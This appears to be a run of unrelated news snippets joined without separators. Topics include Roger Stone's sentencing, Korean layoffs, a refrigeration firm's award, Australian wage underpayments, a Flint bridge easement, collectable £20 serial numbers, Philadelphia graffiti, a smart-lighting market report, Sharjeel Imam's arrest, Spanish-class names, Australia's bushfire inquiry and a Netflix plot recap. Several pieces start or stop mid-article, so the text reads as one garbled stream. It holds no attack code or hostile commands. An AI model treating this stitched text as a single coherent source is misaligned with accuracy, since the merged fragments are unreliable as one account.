the most incendiary issues of the day. His sentence had nothing to do with who his friends are or who his enemies are, Jackson said. At issue, she explained, is only what he has been convicted of: attempting to sabotage a congressional investigation into Russian interference in the 2016 presidential election. He was not prosecuted for standing up for the president, she said. He was prosecuted for covering up for the president. She laced into the defense offered by Stones attorneys in response to his conviction on charges that he lied to congressional investigators and attempted to block the testimony of a witness, which she said amounted to: So what? Related: House members reportedly told Russia working to get Trump re-elected live Story continues Of all the circumstances in this case, that may be the most pernicious, Jackson said, in comments that quickly traveled far beyond the E Barrett Prettyman courthouse in Washington. The truth still exists, the truth still matters. Stone stood unflinching, hands clasped in front of him, as she continued her excoriation. Roger Stones insistence that it doesnt his belligerence, his pride in his own lies, are a threat to our most fundamental institutions, to the very foundation of our democracy, she said emphatically. The judge forcefully rejected claims by Stone and his supporters that law enforcement was carrying out a political vendetta against the president by prosecuting his longtime friend. There was nothing unfair, phony, or disgraceful about the investigation or the prosecution, she said. He lied about a matter of great national and international significance. This is not campaign hi-jinks Amy Berman Jackson Jackson has overseen several of the high-profile cases stemming from the special counsels investigation of Russian interference in the 2016 election, including the prosecutions of Paul Manafort, Trumps former campaign chairman and Rick Gates, his former deputy campaign chairman. But Stones case which turned in part on a Godfather reference, alleged threats made against a therapy dog and a series of profane texts messages that Jackson read from the bench on Thursday was perhaps the most colorful. She accepted that Stone had cultivated a reputation as an agent provocateur who is belligerent and hyperbolic noting humorously that these are descriptions of him from people who wrote [to the court] on his behalf. The problem is that nothing about this case was a joke. It wasnt funny, it wasnt a stunt, she said, adding: The defendant lied about a matter of great national and international significance. This is not campaign hi-jinks. This is not just Roger being Roger. The prosecution team had originally recommended a sentence of seven to nine years, which Trump decried earlier this month as horrible and unfair. Almost immediately, William Barr, the attorney general, intervened and overruled the prosecutors, recommending a far more lenient sentence. Jackson called the what the justice department did unprecedented. In what appeared to be a reference to the presidents running Twitter commentary on the case, Jackson said: The court cannot be influenced by those comments. They were entirely inappropriate. Nevertheless, she believed the initial recommendation was unduly punitive. Probation, however, would not fit the gravity of the crimes committed, she said. In the end, she arrived at her decision: Stone would be sentenced to 40 months in prison. But the case is not quite closed. Stone would not be imprisoned until the judge rules on a motion brought by his defense team requesting a new trial. Emerging from the courthouse after his sentencing, Stone looked bemused by the media frenzy. He was, after all, a man who believed the only thing worse than being talked about is not being talked about. But there was no flamboyant displays, no Nixon-esque victory salute. He simply placed a hat atop his head and slipped into a waiting car. After the sentencing, a representative for Stone appealed to Trump directly. It falls on President Trump to use the power of a pardon as the final means of checks and balances to right this horrible wrong, the spokeswoman, Kristin Davis, said in a statement. Speaking in Las Vegas at a graduation ceremony for prisoners leaving incarceration on Thursday, Trump said he was following the case very closely. I want to see it play out to its fullest, he told the graduates, because Roger has a very good chance of exoneration, in my opinion. S-Oil's polypropylene plant in Ulsan / Courtesy of S-Oil S-Oil, LG Uplus, Doosan Heavy receiving 'voluntary resignations' By Baek Byung-yeul Mass layoffs in the aviation, automotive, telecommunications and heavy industries are rising as companies struggle with weakened performance amid the economic downturn and the spread of the novel coronavirus, according to companies Friday. Asiana Airlines, LG Uplus, S-Oil, Doosan Heavy Industries and Construction, Renault Samsung and other companies said they are receiving "voluntary resignations" from employees. Star team collects Quality Award at CeeD 2020 We are working across the globe to advance, solve problems and push our industry to the limits of innovation through the refrigeration and heat pumps systems we manufacture. Ensuring our people can work in a tidy, clean, and well-organised environment allows us to deliver projects successfully. Star Refrigeration has been awarded the highly sought after Quality Award at the CeeD Awards 2020 for leading the way in production waste elimination and efficient operation through the implementation of the lean manufacturing methodology, 5S (Sort, Sweep, Shine, Standardise, Sustain). The awards dinner, which took place at the Glasgow Hilton Hotel last night, recognised and celebrated the achievements of some of the best established and rising-star businesses and individuals in Scotland. As a British manufacturer with a 50 year history, the honour was bestowed in acknowledgement of Star Refrigerations manufacturing quality improvement programmes, which have led to the safe, effective and timely delivery of the highest possible quality industrial engineering products. With production facilities across the country, floor space of more than 4500 m2 and multiple engineering teams functioning collaboratively around the production areas, a practical approach to organising the workspace was of the utmost importance to the company. Derek Barclay, Director of Production at Star Refrigeration said, We are working across the globe to advance, solve problems and push our industry to the limits of innovation through the refrigeration and heat pumps systems we manufacture. Ensuring our people can work in a tidy, clean, and well-organised environment allows us to deliver projects successfully. Thanks to the CeeD Awards for this recognition Initially brought into the production environment to ensure the engineers working environment was kept safe at all times by maintaining an orderly work space, the 5S system proved to be particularly successful at optimising production and reducing the time spent on any one project. In addition, an improvement on the quality of the product output from the factory was also noted. Derek added, The major success was the breakthrough of the team buying into the initiative rather than the management team driving this, which is a credit to the companys training and ongoing review process, supported by positive recognition for compliance. With the second facility at Westway seeing more and more production of the Azane packaged ammonia chillers, its imperative we are lean. Our challenge is we manufacture bespoken and pre-engineered solutions so a typical production line isnt possible. The 5S initiative helped facilitate the reorganisation of the companys physical assets and operational procedures. Due to its success in Thornliebank, Glasgow Stars primary production location-, the methodology has been carried across to the rest of their manufacturing facilities up and down the country. Presented by well-known Scottish broadcaster Sheeren Nanjiani, the high profile Awards Dinner in Glasgow attracted an audience over 500 people from a range of engineering and manufacturing businesses in Scotland. CeeD itself is a fusion of organisations, all of which are dedicated to help one another improve their operational performance. This is achieved by collaboration and through sharing experience, expertise, best-practice and knowledge. You can find out more about the upcoming awards at: https://ceedawards20.ceed-scotland.com/ To find out more about Star Refrigeration visit https://www.star-ref.co.uk/about-star.aspx Matthew Booker, fund manager at small-cap fund Spheria, notes while there's a moral issue when it comes to underpayments, his concern primarily lies with the financial implications. Loading "The concern comes back to the sustainability of earnings. The market extrapolates an earnings number based on wages assumptions and, obviously, if that assumption is incorrect, there has to be a reassessment of the financial prospects of that business," he said. "So yeah, it's definitely an issue." Pengana also has holdings in underpayment culprits Woolworths and Commonwealth Bank. Christensen says when he's questioned executives over wage issues they've expressed a "high degree of embarrassment". "As a result of [our questions], they double back and go over everything, which is the answer we want to hear," he says. "But will something come up in the future? It probably will, won't it?" 'Like driving a Ferrari with Holden wheels' As underpayment cases proliferate, executives have been quick to distance themselves from the more deliberate and egregious cases exhibited at major chains such as Domino's and 7-Eleven. "There's no advantage in us doing this," Super Retail chief Anthony Heraghty said this week. "[We] simply got it wrong." But while executives don't shy away from accepting blame for these cases, they're also quick to find appropriate scapegoats, such as the "complexity" of complying with Australia's industrial relations landscape. This week, a different issue emerged. Executives have claimed payroll and workforce management software, bought from international vendors, has been incorrectly configured, leading to mismatches and errors, as algorithms crunch data from numerous bargaining agreements and awards. SAP workforce management software is used by a number of major Australian retailers. Companies say the incorrect configuration of this software can cause underpayments. Credit:Bloomberg Prominent workforce management and payroll software, such as SAP, Kronos, DXC and Infor, can cost major businesses upwards of $15 million a year. They're often sold to companies as a safe bet, with one industry insider likening it to the popular edict: "Nobody ever got fired for choosing IBM." But the issues don't lie in the software itself, executives argue, rather the configuration, which is often done by vendors, contractors or consultants, hired by companies with the assumption they'll plug in the correct parameters to ensure staff get paid correctly. Sources familiar with the configuration of such software say major companies often pay in the millions to have these systems set up by third parties, who do so incorrectly. The source, who spoke anonymously for fear of retribution, likened the situation to "driving a Ferrari with Holden wheels". Loading "These executives thought they were doing the right thing, they sign off on the installation and then five years later they find out they've been underpaying people and their reputation is now shot," they said. "Out of all the brands dragged across the coals in recent years, I would say there's only one who would have actually been aware of the naughty things happening." However, others in the industry dispute that companies are exempt from blame. Global workplace management consultancy Axsium has worked with a number of major Australian retailers to establish and configure their systems, and it argues the onus falls on the company to keep things up to date. "At any point, a change in the award, tax legislation, the labour market or local practice means the organisation will to need to update the configuration and re-test," Axsium regional director Andrew Parker told The Age and The Sydney Morning Herald. "The job's not done when the system is set up. It's a continuous battle to keep it up to date, and if you don't invest in that, you get into trouble." Both Coles and Woolworths have announced major underpayments in recent months. Credit:Quinn Rooney One thing that is agreed on by those involved in the workforce management space is the current complexity of awards, which plays as a major factor in why payroll systems are mis-configured. One consultant involved with establishing systems for a major retailer said the company had 80 different industrial awards and agreements to incorporate, each of which required monitoring and cross-checking as they were updated. Joe, she says, stood up to the NRA, helping to ensure passage of the Brady Bill, which mandated federal background checks, and the ban on assault weapons that was part of the Violent Crime Control and Law Enforcement Act of 1994. Biden also co-authored another key part of that bill, the Violence Against Women Act, she points out. He has, however, faced scrutiny over the crime measure, which critics argue helped fuel mass incarceration that devastated black and brown communities. Asked about it, Moseley Braun is thoughtful. Hindsight is always 20/20. The fact is, it was Bill Clintons legislation. And Joe was the floor manager for that. I think he did a yeomans job. ... Were there some things about the crime bill that were not so nice? Yes, she says. I take my share in ownership of it. Im sure Joe takes she paused, searching for words. Hes admitted and apologized for parts of it. FLINT, MI-- The village of Columbiaville in Lapeer County has been given permission by Flints City Council to rebuild a nearly century-old bridge. So why would a village 25 miles northeast of Flint need councils permission? The bridge on Second Street is owned by Columbiaville, but its built over the Holloway Reservoir, which the city of Flint constructed in 1951. Therefore Flint technically owns the land the bridge is built on. A permanent easement was needed in order for the village to receive state funding to reconstruct the bridge. Council members voted 7-1 to allow Columbiaville the permanent easement at a Feb. 17 special meeting. Councilman Allan Griggs, Ward 8, dissented because he felt like the village should reimburse Flint for legal opinions provided by city attorneys. Columbiaville, the state and the federal government are funding the $3.4 million project. The city bears no cost for replacing the bridge, said Flint Director of Public Works Rob Bincsik. This project requires a permanent easement because (the Michigan Department of Transportation) is investing money into it, Bincsik said. The bridge on Second Street, owned by Columbiaville, is built over the Flint River and the land beneath the water is owned by Flint. Originally built in 1934, the bridge needs to be replaced immediately or will otherwise be shut down. Columbiaville City Clerk Denise Baker said beams of the bridge are severely deteriorated, the joints have heavy spalling along the beams and there are holes in the decking. The village has also lowered the weight limits as a result of the deterioration. The superstructure of the bridge was replaced in 1990. According to the plans, if the bridge construction starts in April, (it) should be open for traffic in August, Baker said. Columbiaville hired ROWE Engineering to provide engineering services for reconstructing the bridge. The release of the new 20 note this week featuring JMW Turner gives collectors of physical cash another potential craze to keep an eye out for. With the first banknotes being released into circulation, it is likely some will be taking a keen look at the 10 digit serial number in the hope they have ended up with one of the lowest numbered notes. This is because new fivers and tenners have - in the past - previously sold for big sums if the serial number is of particular interest. The Bank of England released the new 20 note featuring JMW Turner into circulation this week Meanwhile, some with a keen interest in the life and work of the artist, who has replaced economist and philosopher Adam Smith as the companion to Queen Elizabeth II on the new note, may be keeping an eye out for serial numbers relating to key dates. The biggest sale sums will likely come from a charity auction of ultra-low numbered notes in April, This is Money has had a go at predicting which notes might become popular and fetch quite a bit more than their 20 face value. AA01 Both the previous polymer banknotes released by the Bank of England, the 5 note featuring Winston Churchill and the 10 note featuring Jane Austen, have come with a 10 digit serial number, with two letters and two numbers - a space - followed by another six numbers. When the Bank of England released the new 5 note four years' ago, This is Money told readers to keep an eye out for banknotes with the first four digits 'AA01', after we discovered they were selling for as much as 200 on eBay, 40 times face value. Popular: This is Money reported on how new 5 banknotes with the serial number 'AA01' sold up to 40 times their face value on eBay back in 2016 While the craze didn't take off quite as much for the 10 note, there is always the possibility it could do so again for this one. If the higher value note also sold for 40 times its face value, it would fetch a seller 800 - although. According to the Bank of England, 999,000 AA01 5 notes were put into circulation. It told This is Money the same number of 20 notes would be printed, but couldn't confirm how many of those would enter circulation. A glance at auction site eBay this morning has found some sellers have already scooped up large quantities of the new banknotes, and are making a tidy profit. While This is Money has not spotted any sales of the potentially coveted AA notes, a number of notes with AB01, AB03 and AB04 prefixes have sold for more than face value. Of those three categories, AB01 and AB04 appear to be the most in-demand, and have sold for almost 35, a 75 per cent uplift on their face value, while AB03 notes have sold for a lower sum of 29. Those after the new 20 note with an AB prefix have already paid nearly 35 for them It remains to be seen if this is because AA notes are being hoarded by collectors or if no one has actually got their hands on it yet, but in the absence of those 20 notes it seems collectors are turning to the next best thing. Other lettered banknotes Line of Duty stars Adrian Dunbar, Vicky McClure and Martin Compston While these notes were valuable because they were the lowest numbered ones released to the public, the two letters might make any manner of combinations which could prove popular with specific collectors. Other ones to look out for might well be ones involving any of Joseph Mallord William Turner's initials, such as 'JM', 'JW', or 'JT', with someone potentially thinking this is worth paying a bit extra for. However, the Bank of England cautioned that 'it would have to print a very large number of notes to get to serial numbers beginning with J', so it's very unlikely that these will enter circulation. Fans of hit BBC programme Line of Duty might also be slightly amused by the fact the specimen promotional note released by the Bank of England featured the serial number 'AC12', which of course is the name of the anti-corruption unit staffed by Martin Compston, Vicky McClure and Adrian Dubar. The other common combination which is always touted as a highly valuable one is 'AK47', but This is Money has never found any evidence that this is the case. Key dates JMW Turner's 1799 self-portrait, which features on the new 20 banknote Looking at the second set of serial numbers, the six digit number offers the possibility for a myriad of combinations which fans of the artist might fancy collecting. To use a previous example, a 10 banknote with the full serial number AA01 001817 was donated to Winchester Cathedral, in commemoration of the date Jane Austen was buried in the Hampshire town. Possible combinations which might be worth keeping an eye out for on the new 20 note then include 001775, the year of Turner's birth, 001790, the year of his exhibition at the Royal Academy, or 001851, when he died in Chelsea, London, at the age of 76. Other key dates may include some of his best-known paintings, such as his 1799 self-portrait, currently on display at the Tate Britain, and the 1805 The Fighting Temeraire, which is on display at the National Gallery and also popped up in the 2012 Bond film Skyfall. Turner's The Fighting Temeraire, voted the nation's favourite painting in 2005, was a topic of conversation in the 2012 James Bond film Skyfall, between Daniel Craig's Bond and Ben Whishaw's Q It is worth noting all of these dates relate to pictures or references which are on the banknote. Residents of Margate may also be willing to pay a premium for ones numbered 002011, the year the Turner Contemporary Gallery opened in the Kent seaside Town. But it is also worth noting that notes with serial numbers referencing the above dates may only be really valuable if they are preceded by the first four digits 'AA01.' It is also likely than many of the key dated notes may be have been set aside for the charity auction. And, for peace of mind for those worried about shopping on eBay for a note and getting conned, the Bank of England insist the new 20 note is the most secure banknote it has ever created. The line between street art and vandalism is blurry and raises a question: When is graffiti historic, and does it ever merit preservation? Depending on whom you ask, graffiti might be considered a public nuisance or a vibrant contribution to our urban fabric. An example of this debate stands near the corner of Broad Street and Erie Avenue, where a grand, Art Deco bank building towers above North Philadelphia. The building is formally called the Beury Building, named after Charles Beury, the first president of the National Bank of North Philadelphia and a former Temple University president. Built as a bank in 1927, it stands out as a gorgeous example of the eras architecture and prosperity. The structure has been abandoned for years, following the trend of its economically depressed neighborhood, which, despite being a bustling corner of the city, has suffered decades of disinvestment. Branded in soft pink by ambitious vandals, the building has, for many years, worn a symbol of its dereliction, and the name by which Philadelphians best know it: Boner 4Ever. And on the reverse side: Forever Boner. The corner of Broad and Erie is now gaining some overdue attention. The Boner 4Ever building is slated to become a Marriott hotel and may be cleansed of all graffiti. Arguably though, its cheeky moniker is a notable part of the buildings history and integral to the buildings iconic status in Philadelphia. In most instances, brazen vandalism would be low on the list of character-defining features for a historic building, but Boner 4Ever has become so entwined with the Beury Buildings identity that the graffitis preservation merits serious consideration. John Ruskin, a Victorian-era theorist of historic preservation advocated for the preservation of buildings in a state of sublime dereliction. Take for example Philadelphias Eastern State Penitentiary, where decay and disorder are beautiful and captivating. Decay, however, isnt what it used to be. When Ruskin praised the patina of age on historic buildings, he most certainly did not imagine a seven-story joke on the side of Tintern Abbey. Nowadays vandalism is a notable feature of many historic sites and an understood part of their decay. One such site of celebrated decay is Graffiti Pier, which projects out over the Delaware River near the corner of Richmond and Cumberland Streets. There, street art marks the passage of time and adds layers of personal meaning that give the pier a unique sense of place. We are often led to believe that preservation of a building necessitates restoration to a fixed point in time, regarding later alterations as impediments to seeing its true historic nature. The Divine Lorraine, several blocks south of the Beury Building on Broad Street, is a stunning example of a fully restored building made to look as majestic as the day it was built. However, reviving historic structures sometimes risks eliminating the gritty authenticity of historic assets as they have changed over time. Boner 4Ever is certainly a distracting slogan to have hanging over Philadelphia, but does it supersede, or represent, the Beury Buildings history? Would its removal result in too narrow a scope on the buildings overall narrative? The Art Deco grandiosity might shine brightly, but a core piece of the buildings identity would be lost. The joke of Boner 4Ever is now a part of Philadelphia culture and it represents a period of the neighborhoods history that could inadvertently be erased as places like the Beury Building see renewed investment. There is no question that restoration is needed after decades of neglect. And the building has a bright future ahead, especially because the developers of this project seem to be aware of the cultural and historical significance of Boner 4Ever to both the Beury Building itself and Philadelphia as a whole. They have indicated the possibility of a Boner 4Ever homage, if not outright preservation. Perhaps the safest way to deal with this historic vandalism is to simply document the offending words and place a photo in the Marriott lobby. The more difficult and arguably most Philadelphian approach would be to leave Boner 4Ever alone, giving Philadelphians old and new a shared monument. That way we can all roll our eyes at the corner of Broad and Erie forever. Noah Yoder is a graduate student of architectural conservation in the historic preservation program at the University of Pennsylvania. DUBLIN, Feb. 21, 2020 /PRNewswire/ -- The "Smart Lighting Market by Offering, Connectivity, Technology, Lighting, Technology, and Industry Vertical: Global Opportunity Analysis and Industry Forecast, 2019-2026" report has been added to ResearchAndMarkets.com's offering. This report projects that the global smart lighting market size is estimated to reach $38.68 billion by 2026. In 2019, North America dominated the market, contributing more than a 33% share of the overall revenue, followed by Europe. Emerging advancements in smart lighting; rapid adoption of residential, commercial, and industrial automation; and rise in penetration of smart infrastructure fuel the global smart lighting market growth. Smart lighting is designed to manage luminance remotely. It ensures energy efficiency and includes automated controls and highly efficient fixtures that can adjust depending on conditions, such as occupancy and external lighting. Lighting is an intentional use of light to add practical and aesthetic effect to a space. Furthermore, these systems include general, accent, and task lighting. Besides this, smart lighting systems ensure lower energy usage and high cost savings. Recent years have witnessed fast adoption of Zigbee wireless technology in the IoT market. Most smart devices used for residential and commercial purposes are equipped with Zigbee technology. It offers consumers easy-to-use control over installed LED light bulbs, LED fixtures, switches, and remotes, which creates lucrative smart lighting market opportunity globally. According to smart lighting market, DALI has a major adoption in buildings as it provides manufacturers with reliable low-cost solutions. In addition, benefits of reconfiguration, switching of individual lights as per the need of illumination, and other remote access features drives the demand for DALI system in large space premises. Among various regions, North America was the highest revenue generator in 2018 and maintain its dominance in the future. This is attributed to the rise in adoption of automation, which creates lucrative opportunities for smart lighting market forecast. Asia-Pacific is projected to grow at the fastest rate throughout the smart lighting market analysis period, China in this region witnessed the highest demand for smart lighting in 2018, due to wide adoption of autonomous infrastructure and stringent government regulations associated with sustainable development. Moreover, enhancement in industrial autonomy and increase in expenditure in emerging markets such as Latin America and the Middle East to meet the demand for exponentially growing economies in these countries have strengthened the smart lighting market. The smart lighting market is segmented on the basis of offering, connectivity technology, lighting technology, application, and industrial vertical. On the basis of offering, it is bifurcated into hardware and software. By connectivity technology, it is categorized into Bluetooth, Zigbee, WiFi, and DALI. On the basis of lighting technology, it is classified into LED, halogen, incandescent, Fluorescent, and CFL. The applications covered in the study includes indoor and outdoor lighting. By industrial vertical it is divided into commercial, residential, industrial, automotive and others. Region wise, it is analyzed as North America, Europe, Asia Pacific, and LAMEA. Market Dynamics Drivers Growing Demand of Street Lighting System Increasing Need for Energy-Efficient Lighting System High Penetration of LED Bulbs & Lightnings Globally Restraints High Installation and Maintenance Cost in Smart Lightning System Opportunities Emergence of IoT & AI Technology for Smart Lightning Growing Developments in Smart City Projects, Especially in APAC Key Findings The DALI segment accounted for the highest smart lighting market in 2018, with $2,075.59 million , growing at a CAGR of 15%, from 2019 to 2026. , growing at a CAGR of 15%, from 2019 to 2026. The automotive industry generated the highest revenue, accounting for $1,398.08 million in 2018. in 2018. Asia-Pacific is expected to dominate the smart lighting market share, garnering 23.7% of the total share during the forecast period. is expected to dominate the smart lighting market share, garnering 23.7% of the total share during the forecast period. Key players analyzed in the report for smart lighting industry are Acuity Brands, Inc., Cisco Systems, Inc., Cree, Inc., Eaton, Deco Lighting, Inc., Dialight, General Electric, Honeywell International Inc., Koninklijke Philips N.V. and Syska. The key players adopted various key strategies such as product launch, collaboration, partnership, acquisition, and agreements to drive the market. For more information about this report visit https://www.researchandmarkets.com/r/glwan9 Research and Markets also offers Custom Research services providing focused, comprehensive and tailored research. Media Contact: Research and Markets Laura Wood, Senior Manager [email protected] For E.S.T Office Hours Call +1-917-300-0470 For U.S./CAN Toll Free Call +1-800-526-8630 For GMT Office Hours Call +353-1-416-8900 U.S. Fax: 646-607-1907 Fax (outside U.S.): +353-1-481-1716 SOURCE Research and Markets Related Links http://www.researchandmarkets.com Guwahati: Assam Police here on Friday started interrogation of Sharjeel Imam who was arrested in January for his alleged seditious comments like Assam should be cut off from rest of India during the anti-CAA protests held at Shaheen Bagh in New Delhi. A team of crime branch, which brought Sharjeel on Thursday by Rajdhani Express to Guwahati produced him before the chief judicial magistrate court which on Friday remanded him to four-days long police custody. Taking cognizance to the remark which went viral on social media, Assam police had registered a case against Sharjeel Imam on the basis of the audio clip. He was handed over to the Assam Police team who has been in New Delhi for the past few days, by the Patiala House court on Wednesday. Informing that police would try to find out his connections in Assam, security sources said that investigation officer was also trying to find out if Sharjeel Imam had visited the state in past also. Guwahati police commissioner M P Gupta told reporters that a team of crime branch has been entrusted with the responsibility to find out the circumstances and conspiracy behind his cut-off northeast remarks. In Spanish class, Mary might be called Maria, and John might be known as Juan. Renaming students is a common practice in foreign-language classes, but there has been a growing pushback among some educators, who say it can be culturally insensitive and put some students in an uncomfortable position. The debate has resurfaced after comments made this week by Sen. Amy Klobuchar, whos running to be the Democratic nominee for president. My name is Amy, but when I was in 4th grade Spanish, they gave me the name Elena, Klobuchar said at the Culinary Union forum in Nevada. The union is the largest immigrant organization in the state , and more than half of its members are Latinx. Klobuchar was mocked by some for her attempt to relate to Hispanic voters. But the comments also ignited the debate on Twitter: Should students be given new names in Spanish class? why were Spanish teachers so insistent on having Spanish names? I told mine Id rather just keep my actual name and then I became Marisol https://t.co/Yg38rRaCM4 -- Adriana Lacy (@Adriana_Lacy) February 19, 2020 Teachers who do this say that its a great way to immerse students in the language, and it exposes students to names they might not be familiar with. Some teachers say its a way to celebrate the Hispanic culture, and many teachers say their students enjoy using new names, especially when they get to choose them themselves. We want [students] to learn about other cultures, and naming rituals are a big part of that, wrote one teacher in a comment on a blog post discussing the practice . In a world where they are very boxed in, it gives them a sense of freedom to be someone else. But others say that giving students new names can have unintended consequences. If the students in the class who already have a Spanish name are the only ones who dont get new names, they might feel singled out or uncomfortable. For students who are Hispanic but may not have a traditional name, being assigned a Spanish name can feel jarring. And some students just dont want to change their names, which are a key part of their identities. By eradicating the name of the student, youre completely destroying their ... life, vision, and story that their parents gave them through their name, said Jose Medina, the chief educational advocate at his educational solutions company . Too often, students who dont have anglicized names are asked to change their names at school for the convenience of others, he said. When he went to school in Texas, his teacher called him Joe. It was hurtful and damaging, Medina said. See also: Mispronouncing Students Names: A Slight That Can Cut Deep Dorie Conlon Perugini, an elementary Spanish teacher in Connecticut, said she always felt uncomfortable with assigning Spanish names, which was common in her district, but she didnt want to push back. But one year, she had a student named Matthew (a pseudonym). Matthew was born and raised in a Spanish-speaking country, but his parents chose not to name him Mateo. By changing Matthew to Mateo in her class, I felt like I was going against the direct wishes of his parents who gave him this name, Conlon Perugini said. That was the straw that broke the camels back. She decided to give students a choice about whether they wanted to be called a Spanish name. That proved to be too confusing, so she ended up abandoning the practice altogether. (This past fall, she tweeted about her experiences .) Other teachers said giving students Spanish names can be performative and ignores the history of marginalized peoples names in the United States. Dont teach kids they can wear ethnicities at their convenience, said one educator on Twitter . Do you know how hard Ive had to fight to defend my name against people shatter it like glass in their mouths??? And one educator who blogs at the site Spanishplans.org wrote that giving students new names is unnecessary: I feel this perpetuates the notion that only some people are allowed to speak the language, he wrote. Tom cant speak Spanish, but Juan can. I want my students to know that ANYONE with any name can speak the language. Conlon Perugini said she does understand the argument that students might want the chance to create a new identity. When she was in 7th grade, she eagerly chose the Spanish name Juanita, after her grandmotherit was a way to connect with her Puerto Rican heritage. Even so, she added, its important that students should get a choice in the matter. I think theres a lot of identity building that comes along with language, Perugini said. We just need to be cautious of the impact. Image via Getty Australian Prime Minister Scott Morrison, on Thursday, announced a detailed national inquiry into the recent devastating bushfires that killed 33 and scorched more than 10.3 million hectares (103,000 sq km) of landabout the size of South Korea. Australia has, for months, been battling hundreds of blazes that began in September 2019an unusually prolonged summer bushfire season exacerbated by three years of drought. The episode has been dubbed the Black Summer bushfires. Morrison said a six-month national Royal Commission would investigate preparedness for future bushfires and the need for any changes to the law to clarify who is responsible for overseeing emergency authorities. In January, the prime minister ordered the deployment of some 6,500 military reservists to support state authorities. Managing bushfires is typically the responsibility of state governments and fire services. Morrison said in a statement that the call of the 6,500 reservists was the first-ever compulsory call out of Reservists that had been initiated without clear rules, and thereby created a constitutional grey zone. I believe Australians are wanting us to look at ways we can work together to give Australians greater assurances at a national level that these important tasks are getting done, Morrison said. The prime minister added that the Royal Commission inquiry acknowledges climate change, the broader impact of our summers getting longer, drier and hotter and is focussed on practical action that has a direct link to making Australians safer. Thats why we need to look at what actions should be taken to enhance our preparedness, resilience, and recovery through the actions of all levels of government and the community, for the environment we are living in, he said. Morrison said he hopes the Royal Commission can report back by Aug. 31 to enable recommendations to be acted upon before the next bushfire season. The Royal Commission will be headed by former Australian Defence Force (ADF) chief Mark Binskin. He will be joined by two others, former Federal Court judge Annabelle Bennett and a specialist in climate risk and impact management, Andrew Macintosh. According to the announcement, the federal inquiry wont duplicate the work of other inquiries but will work with other state inquiries and also review previous inquiries recommendations. According to a release, the latest Royal Commission seeks to focus on three areas: Improving natural disaster management coordination across all levels of government; Improving Australias preparedness, resilience, and response to natural disasters, across all levels of government; The legal framework for the Commonwealths involvement in responding to national emergencies and how that works with state and territory legal frameworks. Part of the inquiry will also look into traditional land management techniques used by Indigenous Australians, the Australian Broadcasting Corporation reported. The federal inquiry comes as an independent inquiry in New South Wales state announced by Premier Gladys Berejiklian in January kicked off in earnest, reported AAP. The inquiry is expected to last six months. Submissions for the NSW Independent Bushfire Inquiry are now open until March 27, but the deadline can be extended for those who were directly impacted by the bushfires. In the aftermath of the bushfires, the Australian government committed A$2 billion over the next two years to a bushfire recovery fund to support local governments, farmers and primary producers, and deliver mental health support to first responders. This is in addition to over $100 million already provided in emergency payments for impacted individuals and families and payments for volunteer firefighters, Morrison said of the A$2 billion commitment. Its a long road ahead, and we will be with these communities every step of the way as they rebuild. Reuters contributed to this report. From The Epoch Times Photo credit: Netflix From Digital Spy To fully explain just what happened in The Last Thing He Wanted, you have to read the book. (It's okay, we've done it for you.) Written by Joan Didion, The Last Thing He Wanted was adapted for the screen by Ree Dees (Mudbound) who co-wrote the screenplay with Marco Villalobos. Unfortunately, the duo couldn't make the lauded source material come to life with any of the same eloquence and sharpness that Didion did, or make her blossoming denouement happen in any effective way. In fact, the storytelling was so confusing, nothing short of reading the novel will help even though Rees took liberties with the plot. So we did, and it helped! Now we're able to tell you exactly what happened in The Last Thing He Wanted. Warning: if you haven't read the novel or watched the film, steer clear of this article! You can read our spoiler-free review of the Netflix film instead. Photo credit: Netflix The Last Thing He Wanted begins in the early 1980s, during El Salvador's political crisis, with Elena (Anne Hathaway) and her friend and co-worker Alma (Rosie Perez). The two escape the Central American country by the skin of their teeth when paramilitary forces storm their press office. In 1984, Elena's desk (which reports on Central American political unrest) has been 'frozen' by the powers that be and she has been moved to Ronald Reagan's re-election campaign trail. She goes grudgingly but uses the time to interrogate people in particular, secretary of state George Shultz (a real person, now aged 99) about weapons smuggling to Nicaragua. While travelling, pictures are slipped into her hotel room which show her father with some guns in an undisclosed Central American country with the note 'Close to home? Back off'. Photo credit: Netflix After being lambasted by her boss for chasing the wrong story, Elena gets a call: her absent, gun-running father Dick (Willem Dafoe) is in the hospital. Without an explanation, she walks out of her job and heads to Florida to take care of her father. But Dick has a big deal brewing and pleads with Elena to complete it in his stead. Story continues She acquiesces, perhaps out of a desire to get the scoop she was chasing before being reassigned and gets on a plane to a mysterious location. It turns out to be Nicaragua. Elena delivers the guns, hoping to get the million-dollar payday her father promised. Instead, she's given suitcases of cocaine. She decides to stay and find the story instead of getting back on the plane. The man running the deal at the airstrip calls himself Jones, and he takes her by car to a secondary location. She manages to get the upper hand, hijacks the car and leaves Jones in the wilderness. Photo credit: Netflix Meanwhile, in Washington DC George Shultz is getting conflicting advice from an American Ambassador, Treat Morrison (Ben Affleck) and senate aide Mark Berquist. They discuss the strategic leaking of information to Elena. It doesn't seem like a decision is made. Even we're a bit fuzzy on what happens, but what we do know is that Shultz has a soft spot for Treat. Back in Central America, Elena drives to Costa Rica and calls Alma. Alma tells her that the man Dick said was his partner, Max Epperson, doesn't exist but there is a man named Bob Weir who turns up in places right before major political catastrophes including the attack on their press office in the early '80s. Photo credit: Netflix Elena manages to get to a hotel in San Jose but is soon tracked down by one of her father's associates (played by Mel Rodriguez) who provides her with a passport and ticket out and instructs her to take a particular taxi. But while this happens, Treat sits down with Shultz. The two share apple pie, yep, and cryptically discuss the plan to make Elena the fall-guy for a fake assassination plot that will allow the US government to continue supplying excess arms to Nicaraguan contra fighters (and thus support Iranian interests) and also might get Treat elected president one day? It's very weird, and all wrapped up in a metaphor about eating pie with a fork vs a spoon and was not in Didion's original text. She is dropped off at the airport, but while in the queue at the airport, her taxi driver rushes in and tries to give her the bag, revealed to have one of the packs of cocaine inside. She shakes him off, claiming her name is Elise Meyers (which is what is on the fake passport, her real passport having now vanished), and boards the plane to Antigua. Photo credit: Netflix There she runs into none other than Treat. The two have a brief affair, but soon it's cut short when armed fighters attack the hotel and try to assassinate Treat (or so we're meant to believe, but we learn later that these assassins were funded by Berquist). Elena escapes, thanks to the sudden appearance of Jones (Edi Gathegi). Once clear, Jones explains how her father was being set up as a patsy, and now Elena has taken his place. On a call, Alma tells her about a French operative who is investigating the same thing she is. For some reason this spooks Elena, who runs... back to Treat. She is placed, by Treat presumably, in a dilapidated hotel run by a randomly placed Toby Jones. She lays low there, Treat telling her not to come to him again as it isn't safe. Photo credit: Netflix But Elena can't help herself and her talent for sniffing out a story is piqued. While snooping, she finds Berquist's business card hidden in the hotel manager's drawer. Soon after, she realises that Bob Weir has arrived and she also realises that the man her father referred to as Max Epperson is actually Bob. Fearing for her 